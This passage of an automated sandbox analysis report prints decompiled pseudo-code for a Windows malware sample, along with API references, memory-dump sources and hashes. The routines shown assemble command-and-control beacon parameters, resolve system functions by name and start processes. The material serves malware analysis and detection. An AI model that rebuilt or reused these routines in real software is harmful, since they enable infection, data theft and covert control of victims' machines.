										E0092B323(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0092b120
0x0092b121
0x0092b122
0x0092b125
0x0092b127
0x0092b12a
0x0092b12b
0x0092b12d
0x0092b12e
0x0092b12f
0x0092b132
0x0092b13c
0x0092b1ed
0x0092b1f4
0x0092b1fd
0x0092b142
0x0092b142
0x0092b148
0x0092b14e
0x0092b151
0x0092b154
0x0092b158
0x0092b15d
0x0092b162
0x0092b1e2
0x00000000
0x0092b164
0x0092b164
0x0092b170
0x0092b172
0x0092b1cd
0x0092b1cd
0x0092b1d3
0x00000000
0x0092b174
0x0092b183
0x0092b185
0x0092b186
0x0092b187
0x0092b18a
0x0092b18a
0x0092b18c
0x00000000
0x0092b18e
0x0092b18e
0x0092b1d8
0x0092b190
0x0092b190
0x0092b194
0x0092b19c
0x0092b1a1
0x0092b1a6
0x0092b1b2
0x0092b1ba
0x0092b1c1
0x0092b1c7
0x0092b1cb
0x00000000
0x0092b1cb
0x0092b18e
0x0092b18c
0x00000000
0x0092b172
0x0092b1e6
0x0092b1e6
0x0092b1e6
0x0092b162
0x0092b202
0x0092b209

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 708fb43d5d7404d10c9ec12aa6d8225e327cb7f604e39ce205d11920cc6d9e35
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: BD21D6329042149FCB10EF68DCD09ABBBE9FF44350B458168ED159B24AD730FA25C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 026A3FA8, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction ID: f09a4b83447019ee3ed6c173e4ef7f3daabbcbf5ed17dc85470c4e64883bb605
Opcode Fuzzy Hash: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction Fuzzy Hash: 46318432910609DBEB088F24C9567DA7B70FF40B20F18869EEC35991D5C7B94721DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0092A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0092A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x92d018; // 0x1f7541c4
				asm("bswap eax");
				_t27 =  *0x92d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x92d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x92d00c; // 0xeec43f25
				asm("bswap eax");
				_t30 =  *0x92d27c; // 0x298a5a8
				_t3 = _t30 + 0x92e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x92d02c,  *0x92d004, _t25);
				_t33 = E00921C1A();
				_t34 =  *0x92d27c; // 0x298a5a8
				_t4 = _t34 + 0x92e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E009254BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x92d27c; // 0x298a5a8
					_t6 = _t83 + 0x92e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x92d238, 0, _t96);
				}
				_t97 = E00927649();
				if(_t97 != 0) {
					_t78 =  *0x92d27c; // 0x298a5a8
					_t8 = _t78 + 0x92e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x92d238, 0, _t97);
				}
				_t98 =  *0x92d32c; // 0x32b95b0
				_a32 = E00929395(0x92d00a, _t98 + 4);
				_t42 =  *0x92d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x92d27c; // 0x298a5a8
					_t11 = _t74 + 0x92e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x92d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x92d27c; // 0x298a5a8
					_t13 = _t71 + 0x92e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x92d238, 0, 0x800);
					if(_t100 != 0) {
						E00927A80(GetTickCount());
						_t50 =  *0x92d32c; // 0x32b95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x92d32c; // 0x32b95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x92d32c; // 0x32b95b0
						_t103 = E00928307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x92c2ac);
							_push(_t103);
							_t62 = E00923CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E00921199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E0092A1B0();
								}
								HeapFree( *0x92d238, 0, _v44);
							}
							HeapFree( *0x92d238, 0, _t103);
						}
						HeapFree( *0x92d238, 0, _t100);
					}
					HeapFree( *0x92d238, 0, _a24);
				}
				HeapFree( *0x92d238, 0, _t105);
				return _a12;
			}

0x0092a279
0x0092a279
0x0092a279
0x0092a280
0x0092a286
0x0092a28e
0x0092a290
0x0092a290
0x0092a29d
0x0092a2a8
0x0092a2ab
0x0092a2b6
0x0092a2b9
0x0092a2be
0x0092a2c1
0x0092a2c6
0x0092a2c9
0x0092a2d5
0x0092a2e2
0x0092a2e4
0x0092a2ea
0x0092a2ef
0x0092a2fa
0x0092a2fc
0x0092a2ff
0x0092a306
0x0092a30a
0x0092a30c
0x0092a311
0x0092a31d
0x0092a31f
0x0092a32b
0x0092a32d
0x0092a32d
0x0092a338
0x0092a33c
0x0092a33e
0x0092a343
0x0092a34f
0x0092a351
0x0092a35d
0x0092a35f
0x0092a35f
0x0092a365
0x0092a378
0x0092a37c
0x0092a383
0x0092a386
0x0092a38b
0x0092a396
0x0092a398
0x0092a39b
0x0092a39b
0x0092a39d
0x0092a3a4
0x0092a3a7
0x0092a3ac
0x0092a3b6
0x0092a3b8
0x0092a3c0
0x0092a3d9
0x0092a3dd
0x0092a3e9
0x0092a3ee
0x0092a3f7
0x0092a408
0x0092a40c
0x0092a415
0x0092a41b
0x0092a428
0x0092a435
0x0092a43b
0x0092a447
0x0092a44d
0x0092a44e
0x0092a455
0x0092a459
0x0092a45f
0x0092a466
0x0092a46d
0x0092a473
0x0092a47a
0x0092a47e
0x0092a489
0x0092a490
0x0092a494
0x0092a49d
0x0092a49d
0x0092a4ae
0x0092a4ae
0x0092a4bd
0x0092a4bd
0x0092a4cc
0x0092a4cc
0x0092a4de
0x0092a4de
0x0092a4ed
0x0092a4fe

APIs

GetTickCount.KERNEL32 ref: 0092A290
wsprintfA.USER32 ref: 0092A2DD
wsprintfA.USER32 ref: 0092A2FA
wsprintfA.USER32 ref: 0092A31D
HeapFree.KERNEL32(00000000,00000000), ref: 0092A32D
wsprintfA.USER32 ref: 0092A34F
HeapFree.KERNEL32(00000000,00000000), ref: 0092A35F
wsprintfA.USER32 ref: 0092A396
wsprintfA.USER32 ref: 0092A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0092A3D3
GetTickCount.KERNEL32 ref: 0092A3E3
RtlEnterCriticalSection.NTDLL(032B9570), ref: 0092A3F7
RtlLeaveCriticalSection.NTDLL(032B9570), ref: 0092A415

Part of subcall function 00928307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,0092A428,?,032B95B0), ref: 00928332
Part of subcall function 00928307: lstrlen.KERNEL32(?,?,?,0092A428,?,032B95B0), ref: 0092833A
Part of subcall function 00928307: strcpy.NTDLL ref: 00928351
Part of subcall function 00928307: lstrcat.KERNEL32(00000000,?), ref: 0092835C
Part of subcall function 00928307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0092A428,?,032B95B0), ref: 00928379

StrTrimA.SHLWAPI(00000000,0092C2AC,?,032B95B0), ref: 0092A447

Part of subcall function 00923CC8: lstrlen.KERNEL32(032B9910,00000000,00000000,7742C740,0092A453,00000000), ref: 00923CD8
Part of subcall function 00923CC8: lstrlen.KERNEL32(?), ref: 00923CE0
Part of subcall function 00923CC8: lstrcpy.KERNEL32(00000000,032B9910), ref: 00923CF4
Part of subcall function 00923CC8: lstrcat.KERNEL32(00000000,?), ref: 00923CFF

lstrcpy.KERNEL32(00000000,?), ref: 0092A466
lstrcpy.KERNEL32(00000000,00000000), ref: 0092A46D
lstrcat.KERNEL32(00000000,?), ref: 0092A47A
lstrcat.KERNEL32(00000000,00000000), ref: 0092A47E

Part of subcall function 00921199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,74B481D0), ref: 0092124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 0092A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0092A4BD
HeapFree.KERNEL32(00000000,00000000,?,032B95B0), ref: 0092A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 0092A4DE
HeapFree.KERNEL32(00000000,?), ref: 0092A4ED

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 55c0944e63c4439bcca0642cadcba2dbbd19a7085c6962fa8bf344c9a3b460fc
Instruction ID: 0f1e30bf4b13730e5661d7f87e45bd961ea695c0d14dee8ea2e036741b6815fa
Opcode Fuzzy Hash: 55c0944e63c4439bcca0642cadcba2dbbd19a7085c6962fa8bf344c9a3b460fc
Instruction Fuzzy Hash: 1C61BAB255A200EFDB31EB64EC88F5A7BE8EF48310F050114F908D7271DB35E806AB66

Uniqueness

Uniqueness Score: -1.00%

Function 0092816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0092816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x92d33c; // 0x32b9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E009270F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x92c1ac;
				}
				_t46 = E00928022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E00922049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x92d27c; // 0x298a5a8
						_t16 = _t75 + 0x92eb28; // 0x530025
						 *0x92d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E009270F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x92c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E00922049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E00929039(_v20);
						} else {
							_t66 =  *0x92d27c; // 0x298a5a8
							_t31 = _t66 + 0x92ec48; // 0x73006d
							 *0x92d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E00929039(_v12);
				}
				return _v24;
			}

0x00928174
0x0092817a
0x00928181
0x00928187
0x0092818b
0x0092818f
0x00928192
0x00928199
0x0092819c
0x0092819e
0x0092819e
0x009281a7
0x009281ae
0x009281b1
0x009281b7
0x009281c1
0x009281ca
0x009281d1
0x009281ea
0x009281f1
0x009281f4
0x009281fd
0x00928206
0x00928217
0x00928220
0x00928224
0x00928228
0x0092822f
0x00928232
0x00928234
0x00928234
0x0092823e
0x00928247
0x0092824e
0x00928266
0x0092826a
0x009282a7
0x0092826c
0x0092826f
0x00928277
0x00928288
0x00928294
0x0092829c
0x009282a0
0x009282a0
0x0092826a
0x009282af
0x009282b4
0x009282bb

APIs

GetTickCount.KERNEL32 ref: 00928181
lstrlen.KERNEL32(?,80000002,00000005), ref: 009281C1
lstrlen.KERNEL32(00000000), ref: 009281CA
lstrlen.KERNEL32(00000000), ref: 009281D1
lstrlenW.KERNEL32(80000002), ref: 009281DE
lstrlen.KERNEL32(?,00000004), ref: 0092823E
lstrlen.KERNEL32(?), ref: 00928247
lstrlen.KERNEL32(?), ref: 0092824E
lstrlenW.KERNEL32(?), ref: 00928255

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 33cba6aa6d877d19038625202cf1424b6d05deadba1d8fb900acb9b90aa27179
Instruction ID: 6a53d98c48263bcca036beb8c5ecc30e88a30230ad9b2aafe9c7a609e31f4a52
Opcode Fuzzy Hash: 33cba6aa6d877d19038625202cf1424b6d05deadba1d8fb900acb9b90aa27179
Instruction Fuzzy Hash: C0416AB2801229FFDF21AFA4DC05A9EBBB5FF48344F054050ED04A7222DB359A25EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0092205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0092205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0092692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0092A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x92d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x92d27c; // 0x298a5a8
					_t18 = _t47 + 0x92e3e6; // 0x73797325
					_t68 = E009295B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x92d27c; // 0x298a5a8
						_t19 = _t50 + 0x92e747; // 0x32b8cef
						_t20 = _t50 + 0x92e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E009284D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E009284D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x92d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E00929039(_t70);
				goto L12;
			}

0x00922066
0x00922066
0x00922075
0x0092207e
0x00922081
0x0092218e
0x00922195
0x00922195
0x00922090
0x00922098
0x0092209d
0x009220a0
0x009220b5
0x009220bb
0x009220bc
0x009220bf
0x009220c5
0x009220c8
0x009220cd
0x009220d5
0x009220e1
0x009220e5
0x00922175
0x009220eb
0x009220eb
0x009220f0
0x009220f7
0x0092210b
0x0092210f
0x0092215e
0x00922111
0x00922112
0x00922119
0x00922132
0x00922134
0x00922138
0x0092213f
0x00922159
0x00922141
0x0092214a
0x0092214f
0x0092214f
0x0092213f
0x0092216d
0x0092216d
0x009220e5
0x0092217c
0x00922185
0x00922189
0x00000000

APIs

Part of subcall function 0092692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0092207A,?,00000001,?,?,00000000,00000000), ref: 00926951
Part of subcall function 0092692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00926973
Part of subcall function 0092692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 00926989
Part of subcall function 0092692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0092699F
Part of subcall function 0092692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 009269B5
Part of subcall function 0092692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 009269CB

memset.NTDLL ref: 009220C8

Part of subcall function 009295B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,009223E9,63699BCE,00921354,73797325), ref: 009295C2
Part of subcall function 009295B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 009295DC

GetModuleHandleA.KERNEL32(4E52454B,032B8CEF,73797325), ref: 009220FE
GetProcAddress.KERNEL32(00000000), ref: 00922105
HeapFree.KERNEL32(00000000,00000000), ref: 0092216D

Part of subcall function 009284D5: GetProcAddress.KERNEL32(36776F57,009221E5), ref: 009284F0

CloseHandle.KERNEL32(00000000,00000001), ref: 0092214A
CloseHandle.KERNEL32(?), ref: 0092214F
GetLastError.KERNEL32(00000001), ref: 00922153

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 54b1d59ca09932ca004842550bf9eebea6e69e4cf6da462083221fc82660b901
Instruction ID: 668e2363bbbb8244e4ebdea1252f40efb34d778ffc4905acb733b9c6fc5ab859
Opcode Fuzzy Hash: 54b1d59ca09932ca004842550bf9eebea6e69e4cf6da462083221fc82660b901
Instruction Fuzzy Hash: E6313BB2804218FFDB20AFA4EC88EAEBBBCEB48344F104465F615A7125D734AD559B50

Uniqueness

Uniqueness Score: -1.00%

Function 00928307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00928307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x92d27c; // 0x298a5a8
				_t1 = _t9 + 0x92e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E00929401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E00922049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E00927225(_t34, _t41, _a8);
						E00929039(_t41);
						_t42 = E00928E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E00929039(_t36);
							_t36 = _t42;
						}
						_t43 = E0092788B(_t36, _t33);
						if(_t43 != 0) {
							E00929039(_t36);
							_t36 = _t43;
						}
					}
					E00929039(_t28);
				}
				return _t36;
			}

0x00928307
0x0092830a
0x0092830b
0x00928313
0x0092831a
0x00928321
0x00928325
0x0092832b
0x00928332
0x00928337
0x00928349
0x0092834d
0x00928351
0x00928357
0x0092835c
0x0092836c
0x0092836e
0x00928385
0x00928389
0x0092838c
0x00928391
0x00928391
0x0092839a
0x0092839e
0x009283a1
0x009283a6
0x009283a6
0x0092839e
0x009283a9
0x009283a9
0x009283b4

APIs

Part of subcall function 00929401: lstrlen.KERNEL32(00000000,00000000,00000000,7742C740,?,?,?,00928321,253D7325,00000000,00000000,7742C740,?,?,0092A428,?), ref: 00929468
Part of subcall function 00929401: sprintf.NTDLL ref: 00929489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,0092A428,?,032B95B0), ref: 00928332
lstrlen.KERNEL32(?,?,?,0092A428,?,032B95B0), ref: 0092833A

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

strcpy.NTDLL ref: 00928351
lstrcat.KERNEL32(00000000,?), ref: 0092835C

Part of subcall function 00927225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,0092836B,00000000,?,?,?,0092A428,?,032B95B0), ref: 0092723C

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0092A428,?,032B95B0), ref: 00928379

Part of subcall function 00928E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,00928385,00000000,?,?,0092A428,?,032B95B0), ref: 00928E8C
Part of subcall function 00928E82: _snprintf.NTDLL ref: 00928EEA

Strings

=, xrefs: 00928373

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 4c1940bff248fdcc07cf2314a347e60045c65c01378a127853054bf32c8994fc
Instruction ID: 1a79ad5cf1e858e4e5f53664f711c34ef12f616c271b0f17ec03e2a7364ceacd
Opcode Fuzzy Hash: 4c1940bff248fdcc07cf2314a347e60045c65c01378a127853054bf32c8994fc
Instruction Fuzzy Hash: 9511A073906638BB4622BBB5FC85D7F269D9FC8BA07050016F904A7109DE35DD0297E0

Uniqueness

Uniqueness Score: -1.00%

Function 00926CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00926D1F
SysAllocString.OLEAUT32(0070006F), ref: 00926D33
SysAllocString.OLEAUT32(00000000), ref: 00926D45
SysFreeString.OLEAUT32(00000000), ref: 00926DA9
SysFreeString.OLEAUT32(00000000), ref: 00926DB8
SysFreeString.OLEAUT32(00000000), ref: 00926DC3

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 4ac25f6125cadb4c530681cc6854e1e34d0ee81ab56c86e9008509f65c3dc161
Instruction ID: 0e01b3f6c9733285f15e6d8acc9710064dd839fedc585a2af0071ad4eaa78920
Opcode Fuzzy Hash: 4ac25f6125cadb4c530681cc6854e1e34d0ee81ab56c86e9008509f65c3dc161
Instruction Fuzzy Hash: EE317032E00619AFDF01EFB8D844A9FB7BAAF48300F144465ED10EB264DB719D06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0092692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0092692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E00922049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x92d27c; // 0x298a5a8
					_t1 = _t23 + 0x92e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x92d27c; // 0x298a5a8
					_t2 = _t26 + 0x92e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E00929039(_t54);
					} else {
						_t30 =  *0x92d27c; // 0x298a5a8
						_t5 = _t30 + 0x92e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
